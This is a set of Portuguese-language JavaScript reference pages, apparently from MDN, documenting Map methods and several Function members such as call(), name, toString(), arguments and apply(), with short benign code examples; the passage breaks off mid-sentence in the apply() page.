{"title":"Map.prototype.delete() - JavaScript","text":"Map.prototype.delete()\n======================\n\nO método **`delete()`** remove o elemento específico do objeto `Map` através de sua chave.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\ndelete key;\n```\n\n### Parâmetros\n\n`key`\n\nA chave do elemento que será removido do objeto `Map`.\n\n### Valor retornado\n\n`true` se o elemento do `Map` existia e foi removido, ou\n `false` se o elemento não existe.\n\nExemplos\n--------\n\n### Usando o delete()\n\n\n```js\nvar myMap = new Map();\nmyMap.set(\"bar\", \"foo\");\n\nmyMap.delete(\"bar\"); // Retorna true. Removido com sucesso.\nmyMap.has(\"bar\"); // Retorna false. O elemento \"bar\" não está mais presente\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.delete |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`"}
{"title":"Map.prototype.set() - JavaScript","text":"Map.prototype.set()\n===================\n\nO método **`set()`** adiciona ou atualiza um elemento com a chave especificada e um valor do objeto `Map`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nset(key, value);\n```\n\n### Parâmetros\n\n`key`\n\nA chave do elemento que será adicionado ao objeto `Map`.\n\n`value`\n\nO valor do elemento que será adicionado ao objeto `Map`.\n\n### Valor retornado\n\nO objeto `Map`.\n\nExemplos\n--------\n\n### Usando o set()\n\n\n```js\nlet myMap = new Map();\n\n// Adiciona um elemento ao map\nmyMap.set(\"bar\", \"foo\");\nmyMap.set(1, \"foobar\");\n\n// Atualiza um elemento no map\nmyMap.set(\"bar\", \"baz\");\n```\n\n### Usando o `set` de forma encadeada\n\nJá que o método `set()` retorna o mesmo objeto `Map`, você pode encadear a chamada do método como abaixo:\n\n\n```js\n// Adiciona novos elementos ao map de forma encadeada.\nmyMap.set(\"bar\", \"foo\").set(1, \"foobar\").set(2, \"baz\");\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.set |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`\n* `Map.prototype.get()`\n* `Map.prototype.has()`"}
{"title":"Map() constructor - JavaScript","text":"Map() constructor\n=================\n\nO **construtor `Map()`** cria objetos `Map`.\n\nSintaxe\n-------\n\n\n```js\nnew Map();\nnew Map(iterable);\n```\n\n### Parâmetros\n\n`iterable` Optional\n\n Um `Array` ou outro\n objeto iterável\n dos quais os elementos são pares chave-valor. (Por exemplo, arrays com dois elementos como `[[ 1, 'one' ],[ 2, 'two' ]]`.).\n Cada par chave-valor é adicionado ao novo `Map`.\n\n\nExemplos\n--------\n\n### Criando um novo Map\n\n\n```js\nlet myMap = new Map([\n  [1, \"one\"],\n  [2, \"two\"],\n  [3, \"three\"],\n]);\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map-constructor |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* Um polyfill de `Map` esta disponível em\n `core-js`\n* `Set`\n* `WeakMap`\n* `WeakSet`"}
{"title":"Map.prototype.has() - JavaScript","text":"Map.prototype.has()\n===================\n\nO método **`has()`** retorna um booleano indicando se o elemento com a chave especificada existe ou não.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nhas(key);\n```\n\n### Parâmetros\n\n`key`\n\nA chave do elemento que será testado no objeto `Map`.\n\n### Valor retornado\n\n`true` se o elemento com a chave especificada existe no objeto `Map`, de outra forma será retornado `false`.\n\nExemplos\n--------\n\n### Usando has()\n\n\n```js\nlet myMap = new Map();\nmyMap.set(\"bar\", \"foo\");\n\nmyMap.has(\"bar\"); // retorna true\nmyMap.has(\"baz\"); // retorna false\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.has |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`\n* `Map.prototype.set()`\n* `Map.prototype.get()`"}
{"title":"Map.prototype[@@iterator]() - JavaScript","text":"Map.prototype[@@iterator]()\n===========================\n\n O valor inicial da propriedade **`@@iterator`**\n é o mesmo objeto função que o valor inicial do método `entries`\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nmyMap[Symbol.iterator];\n```\n\n### Valor retornado\n\nA função iterativa do map, que é a `entries()` por padrão\n\nExemplos\n--------\n\n### Usando o [@@iterator]()\n\n\n```js\nconst myMap = new Map();\nmyMap.set(\"0\", \"foo\");\nmyMap.set(1, \"bar\");\nmyMap.set({}, \"baz\");\n\nconst mapIter = myMap[Symbol.iterator]();\n\nconsole.log(mapIter.next().value); // [\"0\", \"foo\"]\nconsole.log(mapIter.next().value); // [1, \"bar\"]\nconsole.log(mapIter.next().value); // [Object, \"baz\"]\n```\n\n### Usando o [@@iterator]() com for..of\n\n\n```js\nconst myMap = new Map();\nmyMap.set(\"0\", \"foo\");\nmyMap.set(1, \"bar\");\nmyMap.set({}, \"baz\");\n\nfor (const entry of myMap) {\n  console.log(entry);\n}\n// [\"0\", \"foo\"]\n// [1, \"bar\"]\n// [{}, \"baz\"]\n\nfor (const [key, value] of myMap) {\n  console.log(`${key}: ${value}`);\n}\n// 0: foo\n// 1: bar\n// [Object]: baz\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype-@@iterator |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map.prototype.entries()`\n* `Map.prototype.keys()`\n* `Map.prototype.values()`"}
{"title":"Map.prototype.keys() - JavaScript","text":"Map.prototype.keys()\n====================\n\n O método **`keys()`** retorna um novo objeto **iterador** que contém\n as chaves de cada elemento dentro do objeto `Map` na ordem em que foram inseridos.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nkeys();\n```\n\n### Valor retornado\n\nUm novo objeto `Map` iterador.\n\nExemplos\n--------\n\n### Usando keys()\n\n\n```js\nvar myMap = new Map();\nmyMap.set(\"0\", \"foo\");\nmyMap.set(1, \"bar\");\nmyMap.set({}, \"baz\");\n\nvar mapIter = myMap.keys();\n\nconsole.log(mapIter.next().value); // \"0\"\nconsole.log(mapIter.next().value); // 1\nconsole.log(mapIter.next().value); // Object\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.keys |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map.prototype.entries()`\n* `Map.prototype.values()`"}
{"title":"Map.prototype.get() - JavaScript","text":"Map.prototype.get()\n===================\n\n O método **`get()`** retorna um elemento específico do objeto `Map`. Se o valor\n associado à chave for um objeto, será retornado a referência do objeto e qualquer mudança no mesmo\n irá afetar o valor que está dentro do objeto `Map`.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nget(key);\n```\n\n### Parâmetros\n\n`key`\n\nA chave do elemento que será retornado do objeto `Map`.\n\n### Valor retornado\n\n O elemento associado à chave especificada, ou `undefined` se\n a chave não puder ser encontrada no objeto `Map`.\n\nExemplos\n--------\n\n### Usando o get()\n\n\n```js\nlet myMap = new Map();\nmyMap.set(\"bar\", \"foo\");\n\nmyMap.get(\"bar\"); // Returns \"foo\"\nmyMap.get(\"baz\"); // Returns undefined\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.get |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`\n* `Map.prototype.set()`\n* `Map.prototype.has()`"}
{"title":"Map.prototype.size - JavaScript","text":"Map.prototype.size\n==================\n\nA propriedade acessora **`size`** retorna o número de elementos que estão dentro do objeto `Map`\n\nExperimente\n-----------\n\nDescrição\n---------\n\n O valor de `size` é um inteiro que representa a quantidade de entradas que o objeto `Map` possui.\n A função acessora set para `size` é `undefined`; você não poderá alterar essa propriedade.\n\nExemplos\n--------\n\n### Usando o size\n\n\n```js\nvar myMap = new Map();\nmyMap.set(\"a\", \"alpha\");\nmyMap.set(\"b\", \"beta\");\nmyMap.set(\"g\", \"gamma\");\n\nmyMap.size; // 3\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-get-map.prototype.size |\n\nCompatibilidade com browsers\n----------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map`"}
{"title":"Map.prototype.values() - JavaScript","text":"Map.prototype.values()\n======================\n\n O método **`values()`** retorna um novo objeto **iterador** que contém o valor\n de cada elemento dentro do objeto `Map` na ordem em que foram inseridos.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\nvalues();\n```\n\n### Valor retornado\n\nUm novo objeto `Map` iterador.\n\nExemplos\n--------\n\n### Usando values()\n\n\n```js\nvar myMap = new Map();\nmyMap.set(\"0\", \"foo\");\nmyMap.set(1, \"bar\");\nmyMap.set({}, \"baz\");\n\nvar mapIter = myMap.values();\n\nconsole.log(mapIter.next().value); // \"foo\"\nconsole.log(mapIter.next().value); // \"bar\"\nconsole.log(mapIter.next().value); // \"baz\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.values |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Map.prototype.entries()`\n* `Map.prototype.keys()`"}
{"title":"Map.prototype.forEach() - JavaScript","text":"Map.prototype.forEach()\n=======================\n\nO método **`forEach()`** executa a função que foi provida uma vez para cada par de chave-valor no objeto `Map`, na order em que foram inseridos.\n\nExperimente\n-----------\n\nSintaxe\n-------\n\n\n```js\n// Arrow function\nforEach(() => { ... } )\nforEach((value) => { ... } )\nforEach((value, key) => { ... } )\nforEach((value, key, map) => { ... } )\n\n// função de Callback\nforEach(callbackFn)\nforEach(callbackFn, thisArg)\n\n// função de callback inline\nforEach(function callbackFn() { ... })\nforEach(function callbackFn(value) { ... })\nforEach(function callbackFn(value, key) { ... })\nforEach(function callbackFn(value, key, map) { ... })\nforEach(function callbackFn(value, key, map) { ... }, thisArg)\n```\n\n### Parâmetros\n\n`callbackFn`\n\nA função que será executada em cada entrada do map. Ela receberá os seguintes argumentos:\n\n`value` Optional\n\nO valor de cada iteração.\n\n`key` Optional\n\nA chave de cada iteração.\n\n`map` Optional\n\nO map que está sendo iterado.\n\n\n`thisArg` Optional\n\nO valor para usar como `this` quando o callback for executado.\n\n### Valor retornado\n\n`undefined`.\n\nDescrição\n---------\n\n O método `forEach` executa o `callback` fornecido uma vez para cada chave do map\n que realmente existe.\n Ele não é invocado para chaves que foram deletadas.\n Porém, é executado para valores que estão presentes mesmo tendo o valor `undefined`.\n\nO `callback` é invocado com **três argumentos**:\n\n* O `value` de entrada\n* A `key` de entrada\n* o **objeto `Map`** que está sendo percorrido\n\n Se o parâmetro `thisArg` for fornecido para o `forEach`, ele será passado para o\n `callback` quando for invocado, para ser usado como o valor de `this`. De outra forma,\n o valor `undefined` será usado como valor de `this`. O valor de `this` será\n observado pelo `callback` em última análise e será determinado de acordo com\n as regras usuais para a determinação do `this` visto por uma função.\n\n Cada valor será visitado uma vez, exceto no caso em que foram deletados e adicionados novamente\n antes do `forEach` ser finalizado. O `callback` não é invocado para valores que foram removidos antes de\n terem sidos visitados. Novos valores adicionados antes do `forEach` terminar serão visitados.\n\nExemplos\n--------\n\n### Exibindo o conteúdo de um objeto Map\n\nO código a seguir imprime uma linha para cada elemento do objeto `Map`:\n\n\n```js\nfunction logMapElements(value, key, map) {\n  console.log(`map.get('${key}') = ${value}`);\n}\nnew Map([\n  [\"foo\", 3],\n  [\"bar\", {}],\n  [\"baz\", undefined],\n]).forEach(logMapElements);\n// logs:\n// \"map.get('foo') = 3\"\n// \"map.get('bar') = [object Object]\"\n// \"map.get('baz') = undefined\"\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-map.prototype.foreach |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Array.prototype.forEach()`\n* `Set.prototype.forEach()` (en-US)"}
{"title":"Function.prototype.call() - JavaScript","text":"Function.prototype.call()\n=========================\n\nIntrodução\n----------\n\nO método **`call()`** invoca uma função com um dado valor `this` e argumentos passados individualmente.\n\n**Nota:** Apesar de a sintaxe desta função ser quase idêntica à de `apply()`, a principal diferença é que `call()` aceita uma **lista de argumentos**, enquanto `apply()` aceita **um único array de argumentos.**\n\nSintaxe\n-------\n```\n\nfun.call(thisArg[, arg1[, arg2[, ...]]])\n```\n\n### Parâmetros\n\n`thisArg`\n\nO valor de `this` proveu a chamada para *`fun`*. Note que `this` pode não ser o valor atual visto pelo método: se esse método é uma função em non-strict mode (en-US) code, `null` e `undefined` serão reescritos com o objeto global, e valores primitivos serão encaixados.\n\n`arg1, arg2, ...`\n\nArgumentos para o objeto.\n\nDescrição\n---------\n\nVocê pode atribuir um objeto `this` diferente quando executar uma função existente. `this` refere-se ao objeto atual, o objeto em execução. Com `call`, você pode escrever um método uma vez e então herdá-lo em outro objeto, sem ter que reescrever o método para o novo objeto.\n\nExemplos\n--------\n\n### Exemplo: Usando `call` para encadear construtores para um objeto\n\nVocê pode usar `call` para encadear construtores para um objeto, similar ao Java. No seguinte exemplo, o construtor do objeto `Product` é definido com dois parâmetros, `name` e `price`. Outras duas funções `Food` e `Toy` executam `Product` passando `this`, `name` e `price`. O Produto inicializa as propriedades `name` e `price`, ambos definem o `category`.\n\n\n```js\nfunction Product(name, price) {\n  this.name = name;\n  this.price = price;\n\n  if (price < 0) {\n    throw RangeError(\n      \"Cannot create product \" + this.name + \" with a negative price\",\n    );\n  }\n\n  return this;\n}\n\nfunction Food(name, price) {\n  Product.call(this, name, price);\n  this.category = \"food\";\n}\n\nFood.prototype = Object.create(Product.prototype);\n\nfunction Toy(name, price) {\n  Product.call(this, name, price);\n  this.category = \"toy\";\n}\n\nToy.prototype = Object.create(Product.prototype);\n\nvar cheese = new Food(\"feta\", 5);\nvar fun = new Toy(\"robot\", 40);\n```\n\n### Exemplo: Usando o `call` para chamar funções anônimas\n\nNeste exemplo, criamos uma função anônima que usa o `call` para executá-lo em todos os objetos em um array(vetor). O principal propósito da função anônima aqui é adicionar uma função print para todo o objeto, que está disponível para imprimir o índice correto do objeto no array. Não foi necessário passar o valor do objeto como `this` , mas isso foi feito apenas para explicação.\n\n\n```js\nvar animais = [\n  { especie: \"Lion\", nome: \"King\" },\n  { especie: \"Whale\", nome: \"Fail\" },\n];\n\nfor (var i = 0; i < animais.length; i++) {\n  (function (i) {\n    this.print = function () {\n      console.log(\"#\" + i + \" \" + this.especie + \": \" + this.nome);\n    };\n    this.print();\n  }).call(animais[i], i);\n}\n```\n\n### Usando `call` para chamar a função e especificar o contexto de 'this'\n\nNo exemplo abaixo, quando vamos chamar a apresentação, o valor de this será associado ao objeto i.\n```\n\nfunction apresentacao() {\n  var resposta = [this.pessoa, 'é um excelente', this.funcao].join(' ');\n  console.log(resposta);\n}\n\nvar i = {\n  pessoa: 'Douglas Crockford', funcao: 'Desenvolvedor Javascript'\n};\n\napresentacao.call(i); // Douglas Crockford é um excelente Desenvolvedor Javascript\n```\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function.prototype.call |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `Function.prototype.bind()`\n* `Function.prototype.apply()`\n* Introdução à JavaScript Orientado à Objetos (en-US)"}
{"title":"Function.name - JavaScript","text":"Function.name\n=============\n\nA propriedade somente-leitura **`name`** de um objeto `Function` indica o nome da função como especificado quando esta foi criada, ou `\"anonymous\"` para funções criadas anonimamente.\n\nExperimente\n-----------\n\n| Property attributes of `Function.name` |\n| --- |\n| Writable | no |\n| Enumerable | no |\n| Configurable | yes |\n\n**Nota:** Note que em implementações não-standard anteriores à ES2015 o atributo `configurable` tinha também o valor `false`.\n\nExemplos\n--------\n\n### Nome de declaração da função\n\nA propriedade `name` retorna o nome de uma declaração de função.\n\n\n```js\nfunction doSomething() {}\ndoSomething.name; // \"doSomething\"\n```\n\n### Nome do construtor da função\n\nFunções criadas com a sintaxe `new Function(...)` ou somente `Function(...)` criam objetos `Function` com o nome \"anonymous\".\n```\n\n(new Function).name; // \"anonymous\"\n```\n\n### Nomes de função inferidos\n\nVariáveis e métodos podem inferir o nome de uma função anônima a partir de sua posição sintática (novo na ECMAScript 2015).\n\n\n```js\nvar f = function () {};\nvar object = {\n  someMethod: function () {},\n};\n\nconsole.log(f.name); // \"f\"\nconsole.log(object.someMethod.name); // \"someMethod\"\n```\n\n\nVocê pode definir uma função com um nome numa expressão de função:\n\n\n```js\nvar object = {\n  someMethod: function object\\_someMethod() {},\n};\nconsole.log(object.someMethod.name); // grava o log \"object\\_someMethod\"\n\ntry {\n  object_someMethod;\n} catch (e) {\n  console.log(e);\n}\n// ReferenceError: object\\_someMethod is not defined\n```\n\n\nVocê não pode mudar o nome de uma função, pois a propriedade é somente-leitura:\n\n\n```js\nvar object = {\n  // anonymous\n  someMethod: function () {},\n};\n\nobject.someMethod.name = \"otherMethod\";\nconsole.log(object.someMethod.name); // someMethod\n```\n\n\nPara mudá-lo, você poderia no entanto usar `Object.defineProperty()`.\n\n### Nomes curtos de métodos\n\n\n```js\nvar o = {\n  foo() {},\n};\no.foo.name; // \"foo\";\n```\n\n### Nomes de funções vinculadas\n\n`Function.bind()` produz uma função cujo nome é \"bound \" seguido do nome da função.\n\n\n```js\nfunction foo() {}\nfoo.bind({}).name; // \"bound foo\"\n```\n\n### Nomes de função para *getters* e *setters*\n\nAo usar propriedades acessórias `get` e `set`, \"get\" ou \"set\" aparecerão no nome da função.\n\n\n```js\nvar o = {\n  get foo() {},\n  set foo(x) {},\n};\n\nvar descriptor = Object.getOwnPropertyDescriptor(o, \"foo\");\ndescriptor.get.name; // \"get foo\"\ndescriptor.set.name; // \"set foo\";\n```\n\n### Nomes de funções em classes\n\nVocê pode usar `obj.constructor.name` para checar a \"classe\" de um objeto (porém leia com atenção os avisos abaixo):\n\n\n```js\nfunction Foo() {} // Sintaxe ES2015: class Foo {}\n\nvar fooInstance = new Foo();\nconsole.log(fooInstance.constructor.name); // grava o log \"Foo\"\n```\n\n\n**Aviso:** O interpretador vai definir a propriedade interna `Function.name` somente se uma função não tiver uma propriedade já com o nome *name* (veja a seção 9.2.11 da ECMAScript2015 Language Specification). Porém, a ES2015 especifica que a palavra-chave *static* de maneira que métodos estáticos serão definidos como OwnProperty da função construtora de classe (ECMAScript2015, 14.5.14.21.b + 12.2.6.9).\n\nPortanto não podemos obter o nome de virtualmente qualquer classe com um método estático `name()`:\n\n\n```js\nclass Foo {\n  constructor() {}\n  static name() {}\n}\n```\n\n\nCom um método `static name()`, `Foo.name` não guarda mais o nome verdadeiro da classe mas uma referência ao objeto de função `name()`. A definição de classe acima, escrita em sintaxe ES2015, se comportará de maneira similar ao seguinte trecho de código em sintaxe ES5 no Chrome ou no Firefox:\n\n\n```js\nfunction Foo() {}\nObject.defineProperty(Foo, \"name\", { writable: true });\nFoo.name = function () {};\n```\n\n\nTentar obter a classe de `fooInstance` via `fooInstance.constructor.name` não nos dará de maneira alguma o nome da classe, mas sim uma referência ao método estático da classe. Exemplo:\n\n\n```js\nvar fooInstance = new Foo();\nconsole.log(fooInstance.constructor.name); // grava o name() da função no log\n```\n\n\nVocê pode ver também, a partir do exemplo de sintaxe ES5, que, no Chrome ou no Firefox, a nossa definição estática de `Foo.name` se torna *writable*. A predefinição interna na ausência de uma definição estática customizada é somente-leitura:\n\n\n```js\nFoo.name = \"Hello\";\nconsole.log(Foo.name); // logs \"Hello\" if class Foo has a static name() property but \"Foo\" if not.\n```\n\n\nPortanto, você não pode assumir que a propriedade interna `Function.name` sempre guardará um nome de classe..\n\n### Símbolos como nome de função\n\nSe um `Symbol` é usado como nome de função e o símbolo tem uma descrição, o nome do método será a descrição entre colchetes.\n```\n\nvar sym1 = Symbol(\"foo\");\nvar sym2 = Symbol();\nvar o = {\n  [sym1]: function(){},\n  [sym2]: function(){}\n};\n\no[sym1].name; // \"[foo]\"\no[sym2].name; // \"\"\n```\n\nCompressores e minificadores JavaScript\n---------------------------------------\n\n**Aviso:** Tenha cuidado ao usar `Function.name` e transformações de código-fonte, como aquelas executadas por compressores (minificadores) ou obfuscadores de JavaScript. Estas ferramentas são comumente usadas como parte de processos de *build* de JavaScript para reduzir os tamanhos de programas antes da implementação em produção. Tais transformações frequentemente mudam nomes de função durante o *build*.\n\nCódigo fonte do tipo:\n\n\n```js\nfunction Foo() {}\nvar foo = new Foo();\n\nif (foo.constructor.name === \"Foo\") {\n  console.log(\"'foo' is an instance of 'Foo'\");\n} else {\n  console.log(\"Oops!\");\n}\n```\n\n\npode ser comprimido e se tornar:\n\n\n```js\nfunction a() {}\nvar b = new a();\nif (b.constructor.name === \"Foo\") {\n  console.log(\"'foo' is an instance of 'Foo'\");\n} else {\n  console.log(\"Oops!\");\n}\n```\n\n\nNa versão descomprimida, o programa cai no bloco-verdade e grava o log *'foo' is an instance of 'Foo'*. Todavia, na versão comprimida ele se comporta diferentemente, e cai no bloco `else`. Se você depende de `Function.name`, como no exemplo acima, tenha certeza que seu processo de *build* não mude nomes de função, ou então não assuma que uma função terá um nome determinado.\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function-instances-name |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data."}
{"title":"Function.prototype.toString() - JavaScript","text":"Function.prototype.toString()\n=============================\n\nO método **`toString()`** retorna uma string representando o código fonte da função.\n\nExperimente\n-----------\n\nSintaxe\n-------\n```\n\nfunction.toString()\n```\n\n### Valor de retorno\n\nUma string representando o código fonte da função.\n\nDescrição\n---------\n\nO objeto da `Function` substitui o método `toString` herdado de `Object`; ele não herda `Object.prototype.toString`. Para objetos `Function` definidos pelo usuário, o método `toString` retorna uma string contendo o seguimento de texto de origem que foi usado para definir a função\n\nO JavaScript chama o método `toString` automaticamente quando uma `Function` pode ser representada como um valor de texto. e.x. quando uma função é concatenada com uma string.\n\nO método `toString()` lançará uma exceção do tipo `TypeError` (\"Function.prototype.toString called on incompatible object\") se o valor `this` do objeto não é um objeto do tipo `Function.`\n\n\n```js\nFunction.prototype.toString.call(\"foo\"); // TypeError\n```\n\n\nSe o método `toString()` é chamado por objetos de funções embutidas ou por uma função criada por `Function.prototype.bind`, `toString()` retorna uma string de uma função nativa que parece\n\n\n```js\n\"function () {\\n [native code]\\n}\";\n```\n\n\nSe o método `toString()` é chamado por uma função criada pelo contrutor de `Function`, `toString()` retorna o código fonte de uma declaração de função sintetizada chamada \"anonymous\" usando os parâmetros passados e o corpo da função.\n\nExemplos\n--------\n\n| Função | Function.prototype.toString resultado |\n| --- | --- |\n| \n```\nfunction f(){}\n```\n | \n```\n\"function f(){}\"\n```\n |\n| \n```\nclass A { a(){} }\n```\n | \n```\n\"class A { a(){} }\"\n```\n |\n| \n```\nfunction* g(){}\n```\n | \n```\n\"function* g(){}\"\n```\n |\n| \n```\na => a\n```\n | \n```\n\"a => a\"\n```\n |\n| \n```\n({ a(){} }.a)\n```\n | \n```\n\"a(){}\"\n```\n |\n| \n```\n({ *a(){} }.a)\n```\n | \n```\n\"*a(){}\"\n```\n |\n| \n```\n({ [0](){} }[0])\n```\n | \n```\n\"[0](){}\"\n```\n |\n| \n```\nObject.getOwnPropertyDescriptor({\n    get a(){}\n}, \"a\").get\n```\n | \n```\n\"get a(){}\"\n```\n |\n| \n```\nObject.getOwnPropertyDescriptor({\n    set a(x){}\n}, \"a\").set\n```\n | \n```\n\"set a(x){}\"\n```\n |\n| \n```\nFunction.prototype.toString\n```\n | \n```\n\"function toString() { [native code] }\"\n```\n |\n| \n```\n(function f(){}.bind(0))\n```\n | \n```\n\"function () { [native code] }\"\n```\n |\n| \n```\nFunction(\"a\", \"b\")\n```\n | \n```\n\"function anonymous(a\\n) {\\nb\\n}\"\n```\n |\n\nEspecificações\n--------------\n\n| Specification |\n| --- |\n| ECMAScript Language Specification # sec-function.prototype.tostring |\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nNotas específicas do Firefox\n----------------------------\n\n* Desde o Firefox 17 a função `Function.prototype.toString()` tem sido implementada salvando o fonte da função. O descompilador foi removido o que torna o parâmetro `indentation` desnecessário. Veja Erro do Firefox 761723 para mais detalhes.\n* Do Firefox 38 para o 63 a função `Function.prototype.toString()` lançava exceções para objetos `Proxy` (Erro do Firefox 1100936 e Erro do Firefox 1440468).\nVeja também\n-----------\n\n* `Object.prototype.toString()`"}
{"title":"Function.arguments - JavaScript","text":"Function.arguments\n==================\n\n**Deprecated:** This feature is no longer recommended. Though some browsers might still support it, it may have already been removed from the relevant web standards, may be in the process of being dropped, or may only be kept for compatibility purposes. Avoid using it, and update existing code if possible; see the compatibility table at the bottom of this page to guide your decision. Be aware that this feature may cease to work at any time.\n\nA propriedade **`function.arguments`** diz respeito a um objeto tipo array (array-like object) correspondente aos argumentos passados para uma função. Use somente a variável `arguments` em vez disso.\n\nDescrição\n---------\n\nA sintaxe `function.arguments` está obsoleta. A forma recomendada de acessar o objeto `arguments` disponível dentro das funções, é simplesmente referenciar a variável `arguments`.\n\nNo caso de recursão, ou seja, uma função f aparecer várias vezes na pilha de chamadas, o valor de `f.arguments` representa os argumentos correspondentes a invocação mais recente da função.\n\nO valor da propriedade arguments é normalmente nulo (`null`) se não houver nenhuma invocação pendente da função em andamento (ou seja, a função foi chamada mas ainda não retornou).\n\nExemplos\n--------\n\n\n```js\nfunction f(n) {\n  g(n - 1);\n}\n\nfunction g(n) {\n  console.log(\"before: \" + g.arguments[0]);\n  if (n > 0) {\n    f(n);\n  }\n  console.log(\"after: \" + g.arguments[0]);\n}\n\nf(2);\n\nconsole.log(\"returned: \" + g.arguments);\n\n// Output\n\n// before: 1\n// before: 0\n// after: 0\n// after: 1\n// returned: null\n```\n\nEspecificações\n--------------\n\nNão faz parte de nenhuma especificação.\n\nCompatibilidade com navegadores\n-------------------------------\n\nBCD tables only load in the browser with JavaScript enabled. Enable JavaScript to view data.\n\nVeja também\n-----------\n\n* `arguments` object\n* Functions and function scope"}
{"title":"Function.prototype.apply() - JavaScript","text":"Function.prototype.apply()\n==========================\n\nO método **`apply()`** chama uma função com um dado valor `this` e `arguments` providos como uma array (ou um objeto parecido com um array).\n\n**Nota:** A sintaxe desta função é quase idêntica a essa da `call()`, a diferença é que `call()` aceita uma **lista de** **argumentos**, enquanto `apply()` aceita um **array de argumentos**.\n\nSintaxe\n-------\n```\n\nfun.apply(thisArg, [argsArray])\n```\n\n### Parâmetros\n\n`thisArg`\n\nO valor de `this` é fornecido para a chamada de *fun.* Note que isso talvez não seja o valor real visto pelo método: se um método é uma função em código non-strict mode , `null` e `undefined` serão substituidos com o objeto global, e os valores primitivos serão embalados.\n\n`argsArray`\n\nUm objeto parecido com um array (array-like), especificando os argumentos com os quais *fun* deve ser chamado, ou `null` ou `undefined` se não houverem argumentos que possam ser passados para a função. Começando com ECMAScript5 esses argumentos podem ser um objeto genérico array-like ao invés de um array. Veja abaixo a informação de compatibilidade de browsers.\n\nDescrição\n---------\n\nVocê pode atribuir um objeto *`this`* diferente quando chamar uma função existente. *`this`* refere-se ao objeto atual, o objeto da chamada. Com *`apply`*, você pode escrever um método apenas uma vez e então herdá-lo em outro objeto, sem ter que reescrever o método para o novo objeto.\n\n`apply` é muito parecido com `call()`, exceto pelo tipo de argumentos que ele suporta. Você pode usar um array de argumentos em vez de conjunto de parâmetros nomeados. Com `apply`, você pode usar um array literal, por exemplo, `fun.apply(this, ['comer', 'bananas'])`, ou um objeto `Array`, por exemplo `fun.apply(this, new Array('comer', 'bananas')).`\n\nVocê pode também usar `arguments` para o parâmetro `argsArray`. `arguments`é uma variável local de uma função. Ele pode ser utilizado para todos os argumentos não especificados do objeto chamado. Assim, você não tem que saber os argumentos do objeto chamado quando você usa o método `apply`. Você pode usar `arguments` para passar todos os argumentos para o objeto da chamada. O objeto chamado fica então responsável por manipular os argumentos.\n\nDesde a 5a versão do ECMAScript você pode utilizar qualquer tipo de objeto que é parecido com um array (array-like), então na prática isso significa que ele vai ter uma propriedade `length` e propriedades inteiras no intervalor (`0... length`). Como um exemplo, você pode agora usar um `NodeList` ou um objeto personalizado como `{ 'length': 2, '0': 'comer', '1': 'bananas' }`.\n\n**Nota:** Muitos navegadores, incluindo o Chrome 14 e o Internet Explorer 9, ainda não aceitam objetos parecidos com array e irão lançar uma exceção.\n\nExemplos\n--------\n\n### Usando `apply` para cadeia de construtores\n\nVocê pode usar `apply` para encadear construtores em um objeto, similar ao Java. No exemplo seguinte nós iremos criar um método de `Função` global chamado `construct`, que fará você capaz de usar um objeto parecido com um array com um construtor 